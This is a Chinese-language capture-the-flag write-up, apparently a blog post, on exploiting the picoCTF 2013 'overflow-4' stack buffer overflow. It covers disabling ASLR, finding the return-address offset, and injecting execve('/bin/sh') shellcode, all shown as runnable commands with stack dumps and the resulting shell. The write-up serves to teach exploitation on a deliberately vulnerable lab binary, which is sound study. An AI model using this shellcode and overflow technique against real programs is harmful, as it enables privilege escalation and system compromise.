pico-ctf 2013 overflow-4

栈溢出入门系列入门教程四

本片是栈溢出系列的第四篇
overflow4.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run a shell.
 */

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow_shellcode [str]\n");
        return 1;
    }
    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(argv[1]);
    return 0;
}

checksec:

CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

可见几乎没有什么保护.
思路: 程序源码中没有涉及到system(“/bin/sh”)函数. 要想获得shell必须靠我们自己注入shellcode, 然后劫持eip,让它去执行我们的shellcode. shellcode的写法我也在学习, 在这里推荐几个方便我们写shellcode的工具: 1.pwntools, 2.metaploits.

方法一: 现在需要两个地址: 一个是buffer start, 另一个是返回值地址. 让返回值地址指向我们的buffer start. 对于本题而言, 由于c源码中已有了打印堆栈的函数, 所以我们能够轻松的找到这两个位置. 但是需要关闭系统的地址随机化功能, 这样返回值地址不会随时变, 测试才能成功.
root权限执行下面命令:

echo 0>/proc/sys/kernel/randomize_va_space
./overflow4 $(python -c "print 'A'*64+'B'*4")
Stack dump:
0xffffced0: 0xffffd196 (first argument)
0xffffcecc: 0x08048653 (saved eip)
0xffffcec8: 0xffffcef8 (saved ebp)
0xffffcec4: 0xf7eaf100
0xffffcec0: 0x42424242
0xffffcebc: 0x41414141
0xffffceb8: 0x41414141
0xffffceb4: 0x41414141
0xffffceb0: 0x41414141
0xffffceac: 0x41414141
0xffffcea8: 0x41414141
0xffffcea4: 0x41414141
0xffffcea0: 0x41414141
0xffffce9c: 0x41414141
0xffffce98: 0x41414141
0xffffce94: 0x41414141
0xffffce90: 0x41414141
0xffffce8c: 0x41414141
0xffffce88: 0x41414141
0xffffce84: 0x41414141
0xffffce80: 0x41414141 (beginning of buffer)
buffer start:0xffffce80
返回值地址 : 0xffffcecc
二者相差76个字节,于是我们的payload=shellcode+'A'(76-len(shellcode))+'\x80\xce\xff\xff'

汇编代码:

execve ("/bin/sh") 
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f   ;; hs//
push 0x6e69622f   ;; nib/
mov ebx, esp
mov al, 11
int 0x80

对应的机器码:

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

机器码才是我们要利用的shellcode.
测试:

 ./overflow4 $(python -c "print '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'+'A'*55+'\x70\xce\xff\xff'")
Stack dump:
0xffffcec0: 0xffffd100 (first argument)
0xffffcebc: 0xffffce70 (saved eip)
0xffffceb8: 0x41414141 (saved ebp)
0xffffceb4: 0x41414141
0xffffceb0: 0x41414141
0xffffceac: 0x41414141
0xffffcea8: 0x41414141
0xffffcea4: 0x41414141
0xffffcea0: 0x41414141
0xffffce9c: 0x41414141
0xffffce98: 0x41414141
0xffffce94: 0x41414141
0xffffce90: 0x41414141
0xffffce8c: 0x41414141
0xffffce88: 0x41414141
0xffffce84: 0x41414180
0xffffce80: 0xcd0bb0e3
0xffffce7c: 0x896e6962
0xffffce78: 0x2f686873
0xffffce74: 0x2f2f6851
0xffffce70: 0xe1f7c931 (beginning of buffer)
$  

成功.
方法二: 不使用程序本身的dump_stack函数, 自己找出buffer start.通过gdb调试找出buffer start 和返回值地址两者相差距离76, 然后退出gdb,运行该程序.

./overflow4 $(python -c "print 'A'*76+'B'*4")
Stack dump:
0xffffcec0: 0xffffd100 (first argument)
0xffffcebc: 0x42424242 (saved eip)
0xffffceb8: 0x41414141 (saved ebp)
0xffffceb4: 0x41414141
0xffffceb0: 0x41414141
0xffffceac: 0x41414141
0xffffcea8: 0x41414141
0xffffcea4: 0x41414141
0xffffcea0: 0x41414141
0xffffce9c: 0x41414141
0xffffce98: 0x41414141
0xffffce94: 0x41414141
0xffffce90: 0x41414141
0xffffce8c: 0x41414141
0xffffce88: 0x41414141
0xffffce84: 0x41414141
0xffffce80: 0x41414141
0xffffce7c: 0x41414141
0xffffce78: 0x41414141
0xffffce74: 0x41414141
0xffffce70: 0x41414141 (beginning of buffer)
Segmentation fault (core dumped)

出现段错误, 此时我们调试其core文件, 出现类似的信息. 说明我们的’B’字符将返回值地址覆盖了.

Core was generated by `./overflow4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x42424242 in ?? ()
输入:x/10s $esp-80
0xffffce70: 'A' <repeats 76 times>, "BBBB"
0xffffcec1: "\321\377\377\350\003"
0xffffcec7: ""
0xffffcec8: "\350\003"
0xffffcecb: ""
0xffffcecc: "\353\331\342\367\334\363\372\367<\202\004\bi\206\004\b\350\003"
0xffffcedf: ""
0xffffcee0: ""
0xffffcee1: "\360\372", <incomplete sequence \367>
0xffffcee5: "\360\372", <incomplete sequence \367>

由此我们也找到了buffer start的地址.后面的就和方法一一样了.
有同学可能会问: 为什么不通过gdb来找buffer start呢, 很简单的?
这里我引用其他文章的话来回答这个问题

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变
引用地址:http://www.tuicool.com/articles/ZruA7bZ

注: 我的环境是ubuntu 16.04 64bit. 不同操作系统, 对应的地址可能不一样, 在测试之前, 请先关闭系统的地址随机能力.文件下载地址:https://github.com/picoCTF/2013-Problems/tree/master/Overflow%204
欢迎大家评论提建议, 有什么问题也可以联系我.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值